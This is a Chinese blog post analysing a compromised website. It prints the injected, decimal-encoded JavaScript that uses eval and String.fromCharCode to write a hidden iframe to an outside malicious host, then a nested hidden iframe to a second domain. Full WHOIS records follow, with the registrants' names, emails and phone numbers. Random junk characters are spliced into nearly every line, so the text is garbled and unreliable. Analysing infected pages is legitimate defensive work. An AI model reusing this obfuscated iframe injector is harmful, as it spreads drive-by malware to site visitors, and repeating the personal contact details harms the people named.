首发在我的博客里面，
t+H=%{z WGK:XfOBQ http://www.areway.cn/?p=175 K> rZJ[a FX
yyY-(O : x BG~ D 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
eZck$]P(6H C.#\ Pz0 <script>t=’60,105,102,114,97,109,101,
sOf;I]E| 32,115,114,99,61,104,116,116,112,58,47,47,
ycPGv.6 102,114,101,101,46,117,45,117,117,117,46,99,
>RTmfV 110,47,101,114,114,111,114,46,104,116,109,
-|FSdzvg 32,119,105,100,116,104,61,49,48,48,32,104,
46(=*iT&V 101,105,103,104,116,61,48,62,60,47,105,102,
2_i9
q>I 114,97,109,101,62′;
`\pv^#5HV9 t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
2~wIHtd y8!#G-d5 <script>t=’60,105,102,114,97,109,101,32,115,
(b*PDhl`+ 114,99,61,104,116,116,112,58,47,47,102,114,
b@> MA 101,101,46,117,45,117,117,117,46,99,110,47,
J^Mq 4& 101,114,114,111,114,46,104,116,109,32,119,
nYvx[
zq?^ 105,100,116,104,61,49,48,48,32,104,101,105,
P<OSm*;U: 103,104,116,61,48,62,60,47,105,102,114,97,
h {5K9$9= 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
Uc[ @] document.write(t);</script>
O/N@ Gz[g% Hf#VW ^ <html xmlns=”
W> H GB http://www.w3.org/1999/xhtml
G 9YfJ?I “>
YWK|AT-4 <head>
w y\0o <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
yPmo@aw]1 <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
^tr?y??k <title>首页 - 爱生活家庭网
P\ nz;}nv RP9jZRDbZ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
xl]1{$1M 转换字符串后的大概内容是（谁点击后果自付）：
|n/qJIE6 <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
h8)m2KrZ!. |u@/,x/t 查询玉米u-uuu.cn的详细信息：
}iE!(
l Domain Name: u-uuu.cn
5dNM:1VoE ROID: 20070901s10001s64972306-cn
%RS~>pK1 Domain Status: ok
<j< V{Wc Registrant Organization: 王雷
"N*bV Registrant Name: 王雷
yd> b2 M Administrative Email:
czlovexs@126.com qtI42u{ Sponsoring Registrar: 北京万网志成科技有限公司
.m^L,;+2 Name Server:ns.yovole.com
3 & tJD Name Server:ns1.yovole.com
7+Z%#G~ T Registration Date: 2007-09-01 17:54
! !we4tWq Expiration Date: 2008-09-01 17:54
u;/5@ADW 最后PING了一下地址 都没有什么….
/9 ^F_2'_ Jjr&+Q^3Tu 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
x[dR5 <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
(=e JceE! <script language=”javascript” src=”
AW')*{/(Ii http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script \v]esIP5R' >
{Y7dE?!`7 这个玉米应该有可能是木马作者的：
m.g2>r`NU foafau.info的详细信息：
"+{>"_KV Access to INFO WHOIS information is provided to assist persons in
=K:)%Qh determining the contents of a domain name registration record in the
x Rp;y* Afilias registry database. The data in this record is provided by
F39H@%R Afilias Limited for informational purposes only, and Afilias does not
_t7}ny[ guarantee its accuracy. This service is intended only for query-based
E/:mO~1< c access. You agree that you will use this data only for lawful purposes
9V0@!M8S and that, under no circumstances will you use this data to: (a) allow,
X?gH(mn enable, or otherwise support the transmission by e-mail, telephone, or
RO!em~{D* facsimile of mass unsolicited, commercial advertising or solicitations
V\6V&_ to entities other than the data recipient’s own existing customers; or
!$Whftg (b) enable high volume, automated, electronic processes that send
nb|KIW queries or data to the systems of Registry Operator, a Registrar, or
Pz77\DpFi Afilias except as reasonably necessary to register domain names or
VsjE*AJpe modify existing registrations. All rights reserved. Afilias reserves
WV?3DzeR the right to modify these terms at any time. By submitting this query,
0n)99Osq(u you agree to abide by this policy.
(M ; jnQ0 Domain ID:D22418703-LRMS
5oTj^W8M( Domain Name:FOAFAU.INFO
E-v#G~ Created On:20-Nov-2007 16:05:42 UTC
C xbGL Last Updated On:20-Nov-2007 16:05:44 UTC
8ZN"-]* Expiration Date:20-Nov-2008 16:05:42 UTC
Gzw9E.Hk Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
NfsF'v Status:CLIENT DELETE PROHIBITED
30fqD1_{ Status:CLIENT RENEW PROHIBITED
7
/7,55 Status:CLIENT TRANSFER PROHIBITED
F~Sw-b kSf Status:CLIENT UPDATE PROHIBITED
/!A?>#O&. Status:TRANSFER PROHIBITED
' i;/?'!W6 Registrant ID:GODA-040110615
bD:[r))#e Registrant Name:liu hong
<nk7vo?Ks Registrant Organization:
|)[I$]L Registrant Street1:beijing
;_iDiL C; Registrant Street2:
vhE^jS<Tg Registrant Street3:
t#N@0kIX. Registrant City:beijing
4Je[ !X@C Registrant State/Province:
E(p#Je|@[ Registrant Postal Code:100000
yR$ld.[uf Registrant Country:CN
VBq|j"o0" Registrant Phone:+86.860108888777
k%Wj+\93 f Registrant Phone Ext.:
76eF6N+%}t Registrant FAX:
2kkqPBc_
Registrant FAX Ext.:
k}hTSL Registrant Email:bbbshiji@163.com
>`=9So_J Admin ID:GODA-240110615
S3N+ 9*i K Admin Name:liu hong
~kp,;!^vr Admin Organization:
59#o+qo4 Admin Street1:beijing
r~YxtBZH+ Admin Street2:
]9lR:V
sw Admin Street3:
1%$Z%? Admin City:beijing
JuD&121N* Admin State/Province:
#t< Admin Postal Code:100000
nw, XA0M3 Admin Country:CN
{JlSfJw ! Admin Phone:+86.860108888777
" 7g\X$ Admin Phone Ext.:
wz f Admin FAX:
bZlKy `Z Admin FAX Ext.:
XP^[,)E Admin Email:bbbshiji@163.com
%Xe 74C" Billing ID:GODA-340110615
xU;/LJ6 Billing Name:liu hong
a98J_^ n Billing Organization:
-LU%z' Billing Street1:beijing
;:1o|>mX Billing Street2:
^E&WgXlb Billing Street3:
\\P*w$c Billing City:beijing
3W3)%[ 5 Billing State/Province:
!X4m6gRaP Billing Postal Code:100000
0BP Ubp( Billing Country:CN
1b,MJ~g$ Billing Phone:+86.860108888777
]{ir^[A6 Billing Phone Ext.:
`5
Iaz Billing FAX:
\rM5@
Vf Billing FAX Ext.:
3YD.F jz$ Billing Email:bbbshiji@163.com
+'9E4Lpx Tech ID:GODA-140110615
x4XCR,- Tech Name:liu hong
!W/"Z!k Tech Organization:
*h
M5pw Tech Street1:beijing
SNc $! Tech Street2:
g4 ^3H3Pd Tech Street3:
}v6@ yU Tech City:beijing
\49s;\I] Tech State/Province:
|ITh2m Tech Postal Code:100000
. "Q} 2 Tech Country:CN
j:7AVnt Tech Phone:+86.860108888777
(*Z:ByA Tech Phone Ext.:
LRqlK \ Tech FAX:
"t%Jj89a\ Tech FAX Ext.:
]Jo}F@\g Tech Email:bbbshiji@163.com
(bA w >
Name Server:NS27.DOMAINCONTROL.COM
<UwYI_OX Name Server:NS28.DOMAINCONTROL.COM
<72q^w Name Server:
,</Kn~b Name Server:
k D}vK+ Name Server:
U+,R P$r@ Name Server:
Sq]QRI/ Name Server:
2
ZyO Name Server:
_&N}.y)+t Name Server:
Ey)ey-'\ Name Server:
1 %8JMq\ Name Server:
0ax ;Q[z2 Name Server:
p8j*m~4 B Name Server:
KNjU!Z/4 dF><XZph 接着下载每个文件里面的代码：
wz>[CXpi_ 一步一步看..
iKu4s 
Vwb_$Yi+] 
Vni U:A 
QUDpA W 
Z1_F)5p n 
/[!<rhY 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
